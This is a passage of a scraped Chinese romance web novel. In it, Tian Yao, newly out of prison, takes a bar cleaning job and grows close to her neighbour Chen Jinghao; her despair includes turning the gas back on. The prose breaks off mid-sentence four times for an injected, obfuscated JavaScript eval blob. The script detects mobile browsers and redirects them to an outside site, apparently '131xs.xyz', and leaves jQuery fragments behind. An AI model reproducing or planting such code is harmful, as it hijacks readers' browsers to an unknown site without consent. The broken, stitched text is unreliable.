陈景皓对上她疑惑的目光,那眼神像在指责他不以身作则。陈景皓忽而一笑,败下阵来。
“……是。”陈景皓夹了一筷子的豆皮,他可不敢说,他刚从宵夜摊吃饱喝足回来。
田遥不知他在笑什么,陈景皓笑起来让人不容置疑地舒服。
一会儿后,陈景皓再次端起杯子,“以后我们就是邻居了。有什么需要帮忙的地方尽管开口,能帮得上的我一定帮。”
田遥也停箸和他碰了杯,“客气了。”
陈景皓喝了个见底,田遥也一滴没剩。
陈景皓搁下杯子,说:“我抽根烟,行不?”
田遥微微一愣,没想到他会询问她的意见。
“能给我一根吗?”
陈景皓看着她,挑挑眉,“你也抽烟?”
“不行吗。”
“行。”陈景皓笑了笑,递过一支给她。
“好烟。”田遥接过,低头浅浅笑了。“谢了。”
陈景皓有那么一小会的愣神,印象中,这是第一次看到她笑。田遥的笑容很淡,若有似无,仿佛微风拂过,就能把它抚平了。
田遥食中两指夹着烟,笑容已逝,面容平淡,说:“再借个火。”
烤鱼腾起的蒸汽中,陈景皓看得有些不真切,他总觉得田遥还是在微笑。
“来,我给你点上。”陈景皓侧身倾过来,把打火机伸到她跟前。
打火机是Zippo的,看得出用了有段历史。田遥想起自己也曾买过一个,本打算送给前男友,结果后来发生了那样的事。
前男友。
田遥又看了陈景皓一眼,这个男人留着板寸头,下巴爬出青色的胡茬,慵懒中带着不可质疑的硬朗。
对,硬朗。
这个词绝对用不到前男友身上,她不禁释然。事实上,她现在还真勾勒不出前男友的容貌了。
田遥略略欠身,两指夹着衔在嘴里的烟,凑到燃起的火苗上。她吸了一口,稍稍撇开头,长长吐出一口烟雾。
田遥的背微微弯着,姿态放松得甚至看起来有些颓废。她穿了白色背心,外面套了黑色开衫,下身浅蓝牛仔裤,打扮跟她的发型一样简单又随意。
背心的领口很低,陈景皓可以看见她大片白皙的肌肤。田遥的锁骨线条清晰平直,吸烟的时候露出深浅适度的锁骨窝,有种难言的性感。
性感的锁骨。
陈景皓喉咙有些发紧。
他挑眉看着她桀骜不驯的头发,忽然低声笑了。
看到陈景皓连着莫名笑了两次,田遥以为那是在笑她,不觉有些不好意思。
田遥弹了弹烟灰,说:“你在笑什么。”
“没什么。”陈景皓看着她认真的样子,又不由笑了。
这下,田遥的双颊都发烫了。
田遥没什么胃口,还是很给面子吃了许多,陈景皓只动了几下筷子,大多时候在抽烟。
陈景皓看她放下筷子,说:“吃好了?”
“吃好了。”田遥点头。
“那我们走吧。”
陈景皓买了单,和她沿着江畔的路散步回去。
夜色浓重,江风微凉。
江边的风景看了许多遍,这还是田遥第一次和别人一起共赏,还是一个男人。
说起来,陈景皓还是她出狱后遇见的第一个陌生男人。
心里涌起微妙的感觉,她希望这条道能长一些,好让她可以慢点回到那个空寂的房间。
只是路终究还是走到了头。
他们到了自家门前,陈景皓说:“……那,晚安了。”
“晚安。”田遥转身去开门。
“唉——”
田遥转回头,昏黄的楼道灯下,陈景皓脸上的棱角更有质感。
“你……不会再忘记关煤气了吧?”陈景皓说。
田遥定定地看着他,陈景皓回视她的眼神,没有半分躲闪。看着他漆黑如夜的眼眸,他每一次眨眼都似乎牵动着她,让她心跳加速。
“……再也不会了。”她摆摆头。
“嗯,那就好。”陈景皓刚想转身,又顿住,“我的备用钥匙,你还能帮忙继续保管吗?”
田遥想了想,点头。
“明天你几时在?我走前把钥匙给你。”
“明天休息,都在。”
田遥进屋后再次打开了煤气。洗澡的时候,隔着氤氲的热气,盯着墙上变黄的瓷砖缝,她不知不觉就恍惚起来。
眼前闪过杂乱的场面和面孔,想要一一辨认却无从下手。不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684826|173284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一会儿,这些幻象又如泡泡一样,倏然消失殆尽——田遥打了个哆嗦。
洗澡水变凉了。
煤气用光了。
田遥:“……”
就算陈景皓没有来敲门,这点煤气也不够送她一程吧。
天意难违,看来今天横竖走不了了。她突然笑了起来,像个傻子一样。直到打了个喷嚏,田遥才麻溜地关了水。
翌日,陈景皓醒来时,已是将近午饭时间。他洗漱的时候,发现胡子长了不少,眼圈泛着淡淡的青黑,越看越失意。
陈景皓出门后,看到对面依然大门紧闭。他想起昨晚的事,掂了掂手中的钥匙,走过去敲田遥的门。
敲了三下,无人应声。
看着边上的门缝,陈景皓似乎又看到了昨晚的景象。
那只带着伤疤的手,那双黯淡无光的眼。
陈景皓不由紧张起来。
“田小姐,你在家吗?”
身后毫无征兆地传来一道沙哑的声音,“你找我干嘛?”
陈景皓被吓了一跳,转身看到穿着黑色卫衣的田遥,一手拿着类似宣传单的纸张,正静静地看着他。
陈景皓:“……原来你刚才不在家啊。”
“嗯。出去了一会。”田遥多看了几眼他的胡子,“怎么了?”
“说好的帮我保管一下。”陈景皓晃了晃手中的钥匙,递给她。
“……好。”田遥最初以为他只是玩笑,毕竟,他们不熟。
“对了,留个电话吧,以后找你也方便。”陈景皓掏出了手机,滑开了屏幕。
“我……”
“什么?”陈景皓抬眼看着支吾的田遥,“你不会告诉我你连号码也不记得吧?”
田遥咬唇点头。她没有要联系的人,通讯录里唯一的号码是温礼的。自从搬来那天给温礼发了短信后,她再也没碰过手机。
如果其他女人说这话,陈景皓会觉得那是托词。但放到田遥身上,他信。
他居然相信。
“这样吧。”田遥开门进屋,找来一支钝头铅笔,连着刚才手里的纸一起递给陈景皓。“你把你号码给我,回头我发信息给你。现在……手机估计没电了。”
“……好。”
陈景皓接过,那果真是一张宣传单,他只看到“美术班”几个字,就被田遥翻过去,让他写背面。陈景皓垫在墙壁上,把号码留给她。
当天晚上,陈景皓坐在酒吧吧台前喝着酒,跟一个红头发的调酒师有一搭没一搭地聊着,人群在他们周围喧嚣。
搁在手旁的手机震动了一下,陈景皓起先没在意。有急事的人早就心急火燎地甩电话过来了,而以前经常给他发信息的那个人,早就沉寂了很久。
“哥,你慢点喝,我去招呼客人了。”红头发留下一句,走到了吧台的另一头。
陈景皓这才摸过手机,信息很短,不用开锁屏都能看完。
【田遥:陈景皓,我是住你对面门的。】
手机又是一震,一条新信息把刚才那条挤下一格。
【田遥:我是田遥。】
陈景皓只觉周围安静了下来。他抿了一口酒,酒精沿着食道流进胃袋,留下暖和的感觉。
【陈景皓:嗯,收到。】
他将手机放回桌面,喝酒的时候有意无意瞄几眼,只是屏幕不再亮起。
一连好几天。
5. 第05章
过了几天,陈景皓渐渐不再惦念着田遥。钥匙是他和田遥之间的纽带,可那所房子于他而言却像旅馆,路过的时候才去看看,不想走了就住一晚。旅馆当然没家好,只不过,陈景皓的家对于他来说,也就一住习惯了的旅馆。
别说田遥,就连和他分手后赌气跑到国外散心的高添添,他都想得少了。冷屁股贴得多了,终于还是冷得清醒了。男人生存压力大,需要他操心的事还多着呢。
这天下午,酒吧还没到营业时间。方晓君走进吧台后面,又问他:“哥,你的房子最近要装修吗?我这边刚好认识一个搞室内设计的。”
方晓君是陈景皓认的妹妹,他不在的时候替他料理酒吧的日常事务。她口中的房子,当然指的是陈景皓去年购置的别墅,之前是打算当婚房的。现在……陈景皓上一次去看的时候,庭院里已经长满了荒草。
“不装了。”提起这茬陈景皓就烦躁,“装了干嘛,养蚊子啊。”
“……哎,”方晓君嘀咕,“说不定遇到个合适的马上就闪婚了呢,到时就能用得上了。”
“我有那么着急结婚吗。”陈景皓看着她,笑了笑,“倒是你,我不把你先嫁了,有你这么彪悍的小姑,哪个女人肯跟我。”
“你——”
方晓君朝他甩了一个杯垫,陈景皓从高脚凳上起身,轻巧地避开了。
“去抽根烟。”陈景皓笑着,径自往楼上走。
酒吧位于泰景江边,这个时候从天台可以看见落日。很少人会爬上来,这里几乎成了陈景皓的独占地盘。
陈景皓低头往靠街的角落走,掏出烟叼嘴上,摸遍了全身口袋依然找不到打火机。他不经意间抬头,瞥见角落里站了个人。
那人比他矮大半个头,短发,穿了件黑色卫衣,下身是宽松的浅蓝牛仔裤,板鞋看着有些旧了,手上夹着一支带星火的男人烟。
看上去像是个瘦弱的少年。
陈景皓走近,说:“哥们,借个火。”
那人没反应,陈景皓伸手拍了拍他的肩头,“哥们——”
那人转头,看清那张脸,陈景皓剩下的话全咽进肚子里。
田遥。
逆着夕光,陈景皓看到田遥怔忪片刻,而后浅浅勾唇。
“是你啊。”他终于开口。
田遥看着他,“是我怎么啦。”
“你怎么会在这里?”
“在下面酒吧打工。”
田遥转头去吸了一口烟,陈景皓眯缝着眼睛看向她。
前两次遇见田遥都是在黑夜,头一次能在白天看到她,陈景皓瞬时觉得田遥的存在感鲜活了起来。不然时间久了,他也许会觉得田遥只是他的幻觉。
陈景皓忽然就放松起来,斜倚在栏杆上。
“田小姐,借个火。”
“叫我田遥。”
“……借个火。”
田遥低头从裤兜里掏出一盒火柴,外壳是红楼梦中的某个角色。
“我给你点上。”田遥叼着自己那支烟,推开盒子抽出一根划燃了,用手挡着风。
这年头还有人用火柴。陈景皓笑了笑,低头让嘴里的烟凑到火上。
他凑得近了,田遥能看清他一根一根坚^挺的胡须。她猜那些浓黑的胡须应该很扎手。
烟点燃了,田遥将火柴甩灭,随手丢到脚边。
“你怎么也在这?”田遥兜起火柴盒,问他。
“跟你一样。”
大概也一样在这里上班。田遥想起陈景皓那辆老旧的卡罗拉,还有老小区里的房子,但陈景皓身上带着一股难以名状的气质,她猜不着他的职位。
陈景皓又问:“你来这里多久了,怎么没有见过你?”
田遥看向金光粼粼的泰景江,说:“昨天才来。”
昨天下午,田遥从火锅店辞工后,路过看见酒吧门外贴的招聘信息,便走了进来。
先接待她的是一个红头发的年轻男人,管事的女人叫他呆毛。听到田遥说来应聘保洁员,呆毛呆愣了好一会。
呆毛瞪圆了眼,说:“嗨,我还以为你是来兼职驻唱的呢。”
田遥:“……”
女人往他后脑勺拍了一巴掌,把田遥领到一边说话。大概是看她老实的模样,没聊几句,女人让她次日来上班。
其实这份工作的要求也不高。
陈景皓点点头。他在酒吧见过很多女孩子,初中毕业就到城里来打工,一般当流水线女工,或者进餐馆超市做服务员。有些占着有几分姿色的,也有堕入风尘者。
田遥淡漠的神情,吸烟时候娴熟又孤傲的姿态,陈景皓猜不到她背后的故事,也不想去猜。
有关职业的话题戛然而止,却又是那么的自然而然。田遥和陈景皓隔着一臂之距,两人默然抽着烟。
“这里风景真好,可以看见泰景江的日落。”田遥总结似的说。
一支烟很快燃到底,田遥将烟头丢到脚边踩灭。
“嗯。”陈景皓转过身,看着烧红的天际,“你才来就被你发现了。”
田遥看了他一眼,对上那双漆黑的眸子又撇开头,说:“听起来像闯进了你的地盘一样。”
陈景皓若有所思地点点头,说:“差不多。”
田遥忽然笑了笑,说:“我要下去了。”
她的笑容让陈景皓觉得有些莫名,但更多的是单纯的舒服。
“嗯。”他应道,看着田遥的背影消失在门口。
陈景皓转头看向那片江水,长长吁了一口气,最后轻声笑了出来。
田遥换上工作服,跟着领班熟悉了环境后,便开始工作。这份工作当然说不上喜欢,只不过能保证她不挨饿,还有不用像服务员得整天堆着笑。
她在吧台里面做清洁时,那个红头发跟她打了招呼。
“嗨,新来的美女。”他口吻轻松却不轻佻,笑容灿烂,略显稚嫩。
田遥直起身,拄着扫把,看向他安静地说:“我叫田遥。”
红头发学着她认真的语气,说:“我叫戴云辉。”说完又笑了。
田遥点头
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684827|173284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,嗯了一声,带着扫把和垃圾场走开了。
戴云辉:“……”
整个晚上,田遥都没有再见到陈景皓。酒吧说大不大,光影交错里,处处都是隐秘场所。
说不出为什么,田遥想见到他,哪怕远远地望上一眼也好。
下班已将近凌晨一点,田遥换上私服,刚出了大门,就被戴云辉叫住。戴云辉手里晃着一圈钥匙,向她走去。
戴云辉说:“这么晚了,一个人走啊?”
田遥点点头,看着站在旁边的戴云辉。他身材高瘦,看上去比陈景皓弱了一圈。
“你住哪里啊?这个时间你一个女孩子走,很危险哎。”戴云辉将钥匙拿在手里,摁了一下车钥匙,马路对面一辆车的灯闪了两下。“我送送你吧。”
田遥本想说不用,眼光往那辆车扫了一下,她立马忘记了拒绝。
老旧的灰白色丰田卡罗拉。
这是陈景皓那晚开过的车。田遥不记得车牌,但直觉告诉她,一定是同一辆。田遥又不由笑了笑,怎么她已经有了走火入魔的倾向。
戴云辉见田遥神色有异,说:“嫌弃啊?你别看这车旧,把你运到朝鲜都不会散架呢。”
“我没有嫌弃。”田遥很认真地说。
“……好吧。”戴云辉招呼田遥往路对面走,“上车吧。”
田遥坐进副驾座,似曾相识的感觉又涌上来,她更加肯定刚才的想法,似乎一低头,就看见积水从车门漫进来。
戴云辉问了她的住址后,说:“江对面,那很近嘛。”他发动了车子。
戴云辉似乎和有生命的物体都能聊,叨叨了一路,田遥是否应声,对他来说似乎无所谓。田遥还是很认真地听了。
路过大桥,戴云辉说:“你一个女孩子,大晚上最好还是结伴走。这一路虽然都有路灯,可还是挺危险的。”
戴云辉换上语重心长的口气,让他看上去成熟了几分。
“前些日子我们路过这里,就看到有两个骑摩托车的,直接从车上勒住路边一个人的脖子,想把他拖走。亏得皓哥摁了一声喇叭,才把那两毛贼吓跑了。那会可才晚上十点多呢。”
隔了一会,也没见田遥反应,戴云辉侧头瞟了她一眼,只见田遥眉头微蹙,严肃地盯着他。
“干嘛?你还别不信,我真见到过这事——”
“我信。”田遥斩钉截铁地说。
“所以——”
戴云辉的话又被打断,他们已经下了桥,眼看着就要下车,田遥赶紧开口。
“‘皓哥’什么的……是不是叫‘陈景皓’?”
“呀——”戴云辉又瞥了田遥一眼,这回是惊讶。“你又知道?”
“唔,我是……听别人说的。”
“也是。”戴云辉似乎觉得这理由合情合理,点了点头。
田遥谢过戴云辉,下了车。走到楼下时,她停了一下,仰头,很快找到陈景皓的房子。
那个阳台没有一丝光亮,像个黑色的漩涡,把她的灵魂都卷了进去。
6. 第06章
田遥下午在一个插画师的工作室学画,到点了才去酒吧。
她到酒吧后,依然先上了天台。这回,她没有抽烟,只是纯粹上去透气。
当看见陈景皓背立在昨天的地方时,田遥内心不可控制雀跃几下。这下,她明白自己上来的目的已不纯粹。
在田遥开口喊他之前,陈景皓似乎已有所察觉,转过身来看向她。
“来了啊。”
这几个字听起来像漫不经心,又像是他等候已久。
田遥分辨不出是哪一种。
不过不要紧,能见到他就好。
“嗯。”田遥站到他旁边,昨天的位置。
陈景皓也没有抽烟,只是懒懒地倚在栏杆上。他的手随意地搭在一旁,田遥可以瞥见那只骨节分明的大手。
他的手掌一定很有力量,田遥想。
“你在看什么?”
陈景皓的声音拨乱了她的浮想。
“唔?”田遥有了光明正大盯着他的理由,“没什么。”
“你在看我。”
陈景皓用的是陈述句。
田遥把这句话落实了。
四目相对。
“然后呢。”田遥定定看着他,眼神没有丝毫闪躲。浓黑的眉,深邃的眼,高挺的鼻,薄薄的唇,他的整张俊脸落在她的眼底,清晰又深刻。
她的目光坦荡而清冽,陈景皓心底也跟着宁静起来。他低头笑了笑,眯缝起眼睛看着她。
“看呗。长得好看又不怕人看。”
田遥愣了一下,噗嗤笑了出来。她别开脸,看着泰景江上的一艘小船,它走得那么慢,像是舍不得离开。
夕光将她的侧脸镀上一层金边,将田遥的五官凸显得更加立体。她像是镶进了柔和的夕景里。
陈景皓脸上的笑意更浓了。
“你是学生吗?”
陈景皓问得随意,田遥也放松起来。
“你看我像吗。”田遥转过头看着他,一副任君打量的模样。
陈景皓果真从头到尾扫了她一眼,最后摇头,“不太像。”
“嗯。我毕业好几年了。”
陈景皓推测她指的是高中毕业,可她脸上有着二十出头小女生不该有的沉静。如果是大学毕业……那份骄傲也不允许她来酒吧做最底层的工作。
笑容凝固在脸上,陈景皓微微皱眉,掏出一根烟点上。天台没有风,星红的烟头冒出一根直直的细烟雾。
田遥呆了一会就下去了,这天晚上,她依然没有再见到陈景皓。她甚至怀疑,陈景皓根本不在这里上班。
她去吧台后面打扫时,戴云辉走过来,朝她热情地笑,“哟,小遥子。”
田遥站直腰,从头到尾看了他一眼,“……戴云辉,你几岁了?”
田遥能记住他名字,戴云辉自然高兴,一条胳膊横过来勾住她脖子,“我二十岁了,我看你应该比我小吧。不如……你认我作哥吧。”
田遥矮了下身子,离开戴云辉的胳膊,站到他面前笑着说:“不好意思,我比你大。”她走开几步,继续打扫。
“哎……”戴云辉哼哼唧唧地回去给客人倒酒。他感觉扫兴极了,怎么这个酒吧里,所有他想亲近的人,都比他年纪大,害他想过过当大哥的瘾都没机会。
他们的一举一动,都落在吧台另一端那个戴着眼镜、模样斯文的男人眼里。男人看得专注,旁边的同伴喊了他几次,他才回过神来。
田遥又去整理了一个卡座,男人的目光像追光灯一样,一直追随着。田遥提着垃圾桶和扫把,小心地避过过往客人,往厕所旁的工具房走去。
“我去下洗手间。”男人跟同伴报备一声,快步跟上田遥。
工具房在男厕所边上,田遥进门前,被一股力量拽住胳膊,垃圾桶险些脱手。
她有些生气地回头,却对上一张熟悉的脸。
“阿礼……是你啊。”
温礼松开手,田遥将垃圾桶放到地上,两手握着扫把柄。她穿着米黄色的制服,微微抬头看着他。
“嗯……你,”温礼说,“你在这里……上班么?”
“是啊。”田遥说。
偶尔有人进出厕所,路人好奇的眼光不时掠过。灯光昏黄,伴着隐约的水声。
这样的环境怎么看都不适合叙旧。
戴云辉从旁边经过,看了他们一眼。酒吧里经常会有这样的男人,看到略有姿色的服务生,就心怀叵测地跟上,把人堵在角落调戏一番。
“小遥子。”戴云辉试探性喊了一声,“你没事吧。”
田遥:“……没事。”
温礼回头,看见开口的正是刚才那个跟田遥勾肩搭背的调酒师,心里说不出的不快。戴云辉朝温礼点了点头,没有马上走开。
田遥指了指温礼,说:“我没事。这我朋友,我们认识的。”
戴云辉见田遥神色泰然,两人也没亲昵举动,嗯了一声,转身进了男厕所。
“我要去干活了。”田遥举了举手中的扫把。
温礼意识到打扰了田遥,两手不自在地插回裤兜,“嗯……”田遥要转身进工具房时,他又说:“你晚上几点下班?”
田遥回头看着他,温礼没有回避,目光坦率又压抑。即使她选择沉默,田遥有直觉,温礼也会一直等到她下班。
“一点。”
酒吧打烊后,田遥出门便看到马路对面的温礼,他手里夹着一支烟,田遥以为他从来不抽烟的。温礼朝她招了手,把大半截的烟掐灭。
田遥正要走过去,戴云辉从后面喊住她。
“小遥子,又一个人走啊。我送你吧。”
“不用了,谢谢。”田遥指了指温礼,“我朋友找我。”
戴云辉望了温礼一眼,耸耸肩无所谓地说:“那行。”
田遥向温礼走去,那个男人穿着白衬衫、黑西裤,长身玉立,站在银白色的车边。
她向他走近。
田遥忽然想到,温礼真对得起他的名字,温文尔雅、彬彬有礼,加之事业有成,该是多少女人的理想配偶……却一直单身至今。
田遥上了副驾座,系上安全带后,又回过神问:“你喝酒了还能开车吗?”
“我没喝酒。”温礼放下手刹,启动了车子。
田遥将信将疑看了他一眼,温礼说:“我送你回去。”
“嗯。”田遥点头,又说:“我住在江对面,下了大桥拐个弯差不多就到了。”
“我知道。”温礼说。
哦,田遥闭嘴。
温礼当然知道,当初他把田遥的信息看了许多遍,那串地址早已倒背
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684828|173284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如流。他一直很想去看一看,只是纠结到最后,他回信息的勇气都提不起。
算了,忘了吧。他曾经这样催眠自己。
直到今晚见到田遥,拼命想遗忘的记忆又开始复苏,又开始风起云涌。
温礼坚持把田遥送到楼下,田遥下车,他也跟了下来。
“你回去吧。”田遥朝他扬了扬下巴,“太晚了,你明天还要上班吧。”
温礼站着不动,紧抿着嘴,欲言又止的模样。
有时田遥真觉得,温礼比她还女人。
田遥笑了笑,“阿礼,你怎么了?”
她的笑让温礼有些讶然,跟在他那里时候不同,现在的田遥笑得随意,又自然。
“小遥……你在这里过得真的好吗?”
借着昏暗的路灯,温礼看到楼房老旧的轮廓,又想起酒吧里田遥的模样。
没想田遥没有半点犹豫,很肯定地嗯了一声。
她不应该是这样子,不应该在这里。温礼在心头重复。
温礼说:“我可以给你更好的生活,像以前一样的生活,真的……小遥,你能给我一次机会吗?”
他的目光有些灼热,田遥避开了。她慢慢地摇头,说:“我现在过得挺好的。”
温礼长长叹气,扶了一下额头,“……那样的工作不适合你。”
田遥挑眉,声音冷漠起来,“是吗,那你觉得怎样的才适合我。”
温礼嘴唇微微动了几下,终究没说话。答案两人都心知肚明。
田遥哼了一声,“画画又比扫地好听到哪里去。我在酒吧当清洁工,又没偷又没抢,有什么合适不合适的。而且——”
田遥把右手抬了一下,“你知道过去的五年我都用这只手在做什么吗——我在监狱的流水线上缝了整整五年的衣服!”
“温礼,你懂这是什么概念吗,五年啊!你让我再去画画——我现在、我现在连考美院的高三生都赶不上了,我就是半个废人了……”
田遥越说声音越飘忽,温礼看着她轻轻抖颤的身体,心慌起来。
“小遥,对不起,你别、你别这样——”
田遥甩开温礼伸过来的手,尖锐地说:“你以为我也想在那样的地方吗。我不想坐牢,我也想像个普通女人一样活着——”
可是,意念的力量毕竟有限。
田遥没能把话说完。
她被温礼拥住了。
她从来没料到温礼有如此力量,能紧紧握住她的肩膀。她也从未想过,他的拥抱会如此凝重。
田遥脑袋呈现片刻的空白,她一动未动。
这究竟怎么了。
“小遥,你别这样逼自己,真的……如果你累了、或者有什么困难,只要你愿意——你可以来找我,随时都可以。我可以给你依靠,我可以让你依靠。”
她没有说话,周围安安静静,连虫子都睡着了。
路口一只小猫从树丛中跑出来,在路灯上晃了几步,朝他们看了一眼,又咻地一下溜走了。
汽车的声音渐近,两道光柱扫过,刺得田遥睁不开眼。
也就是这一霎那,她抓住缝隙中一丝的冷静,推开了温礼。
坐在车里的陈景皓又望了路边一眼,温礼的车占了最后一个车位,他麻溜地打着方向盘转了个弯。
7. 第07章
田遥突然出手,温礼始料未及,他踉跄倒退两步。
两个人都喘着大气,温礼是激动的,田遥却是慌乱的。
田遥缓了口气,声音平静又冷漠,“太晚了,你走吧。谢谢你送我回来。”
再没等他开口,田遥转过身,留给他一个瘦削的背影,还有挺直腰背那份倔强,径直上了楼。
“……小遥。”
温礼呆在原地,像坏掉的机器人,望着田遥消失的楼梯口,不知作何反应。
不多一会,耳边传来脚步声。在寂然的凌晨,那声音更显得分外突兀。
温礼回过神,看见一个颀长的身形,经过他身边,往刚才的楼梯口走去。
黑夜中看不清明,温礼隐约看到那人路过的时候,探究性地望了他一眼。
这也不足为奇,大半夜看到一个人莫名立在路边,任谁都会多看几眼。
何况还像他这样一身狼狈的。
一直以来都是他的一厢情愿,真是傻透了。
温礼按着脸,颓丧地慢慢蹲到地上。
陈景皓上到五楼,左边的门缝中露出一线光亮。掏钥匙的时候,他又看了一眼对面门,想起刚才楼下撞见的那一幕,不觉笑了笑。
这是他第一次看到田遥和其他人的羁绊。这样的羁绊,让她的存在更加鲜明起来。
以前,他总感觉田遥是凭空掉到人世间,她游离在边缘,跟任何人都没有关联。
明知道这样的人可能不存在,田遥身上那份沉默又凝重的气息,总拽着他的思想往这个方向走。
田遥醒来已是中午时分,她眼底带着明显的黑眼圈。田遥对着卫生间的镜子叹了一口气,背着画夹出了门。
她下楼拐了个弯,看见路边停着一辆白色的SUV,车身带着黄色和棕色的条纹。高大的车子混在一排普通家用的轿车里显得霸气十足。
驾驶座的车窗降下,司机的胳膊闲闲地搭在上面,深蓝色的衬衫衣袖随意挽起至手肘,修长的手指夹着一根烟。
田遥路过,不经意往车里掠了一眼,刚收回视线走了两步,忽然停住脚步。
她没有回头,似是想了想,直接倒退了几步。
车里那人顿住,烟灰都忘了弹。
“陈景皓。”
“嗯。”陈景皓笑了笑,眼神溜过她肩上军绿色的画夹,“去哪啊。”
田遥没有回答,看了一眼车子,说:“你换车了。”
陈景皓坐在车里,田遥刚好可以和他平视。他看着田遥清冷的容颜,吸了一口烟,眯起眼神秘兮兮地说:“老板的。”
“哦——”田遥恍然大悟般,“原来你是老板的司机。”
“老板的司机……”陈景皓低下头笑了,“对,我是老板的司机。”
“你笑什么。”
陈景皓忍着笑,摇了摇头,“你要去哪,我送你吧。”
田遥微微歪着头,“海城路的沃尔玛,顺路么。”
“顺路。”到哪都顺路。陈景皓从车里取过烟灰缸,将烟头掐灭在里头,“上车吧。”
田遥把画夹放进后座,自己坐到陈景皓旁边。
周天出行车辆不少,陈景皓稳当地在车缝间穿插,二十多分钟就到了海城路附近。
“你吃饭了吗?”陈景皓踩下刹车,停在红灯前第一排。
“没。”田遥说,“你呢?”
“一样。”陈景皓转过头来看她,“你赶时间不,要不找个地方先吃饭。”
田遥看着不远处的大厦,说:“我不急。”
陈景皓开到沃尔玛那栋大厦,在路边寻了个空位停好车。
“先吃饭,一会再回来拿画夹吧。”
田遥点点头,问他:“你想吃什么。”
太阳有些刺眼,陈景皓眯了眯眼,说:“什么都可以。”
“什么都可以?”田遥不确定地问了一句。
“嗯。”
田遥随手指着最近的一家饺子馆,陈景皓点点头,“好。”
陈景皓翻了翻菜单,点了两盘饺子,香菜猪肉馅和三鲜馅。田遥琢磨了一阵,只点了一碗黑米粥。
陈景皓说:“点好了?”
田遥:“点好了。”
陈景皓又叫了一份凉拌三丝和凉拌拉皮。
饺子店有自助的豆浆,陈景皓去接了两杯。
等菜期间,隔壁桌的两个学生模样的女生频频朝他们投来眼波,不时窃窃私语。
陈景皓掠了她们一眼,小女生别开眼一会,等他收回视线又有意无意望过来。他倒是无所谓,田遥却受不住了。
她放下杯子,冷冷看向她们,说:“你们看够了吗。”
两桌之间隔了一米宽的过道,田遥声调恰到好处,既能让她们听见,又不至于招摇。
两个小女生红了脸,彻底噤声。
陈景皓愣了一下,轻轻笑了。他伸出拇指,说:“你是这个。”
“我认得她们。”田遥说,“我跟她们是一个画室的。”
“画室?”
“楼上的画室。她们都是明年要考美院的,我也在上面学画。”
陈景皓握着杯子的手顿了顿,说:“你也要考?”
“不考。”田遥笑了,这回带了几分无奈,还有自嘲。
陈景皓看出她不想深入,于是转了个话题。
“田小姐以前是做什么行业的。”
刚问出口,田遥马上接话,“叫我田遥。”
“……田遥。”
“在一个服装工厂里面当女工。”
提起过去,田遥感觉没想象中的困难。她想了一下,把原因归到陈景皓身上。
陈景皓于她来说是陌生人,他和她的过去没有丝毫瓜葛,田遥不必担心陈景皓会戴上有色眼镜看她。
即使她在酒吧做着最底层的工作,陈景皓对她也没有半分轻视。
陈景皓是她新生的起点。
服务员上了菜,两人停止了交谈。陈景皓看来是真饿了,一盘饺子很快见了底。田遥没什么胃口,只夹了几筷子的凉菜,一碗粥只吃了一半就停住了,她抽了一张纸巾擦嘴。
“就吃饱了?”陈景皓抬眼看着她,筷子刚夹了一只饺子到味碟里。
“嗯,没什么胃口。你慢慢吃。”
陈景皓这下速度更快了,几乎是风卷残云把剩下的扫荡得七七八八。
田遥看着他,“……你可以慢点,我不赶时间的。”
陈景皓不以为然笑笑,举手喊了一声服务员买单。
服务员把菜单递过来,“你好,一共是53块。”
田遥先一步接过,说:“我来吧,你送我过来,我请你是应该的。”
“……那么客气啊。”陈景皓说,“不用了,我来吧。我不习惯让女人请客。”
田遥没了声音,陈景皓掏出钱包才发现田
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684829|173284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
遥一直盯着他。她还是那副淡淡的表情,连眉头都没皱。
陈景皓无奈收回钱包,投降似的笑了笑,“……行,让你来。”
田遥没带包,她直接从裤兜里掏出一张一百块,递给了服务员。
相比那些盛装打扮的女人来说,田遥的行头简约得另类。陈景皓已经开始有点习惯了她的不寻常。
拿了找头,田遥和陈景皓一起回到车边。陈景皓开门将画夹取给她,“课从几点到几点?”
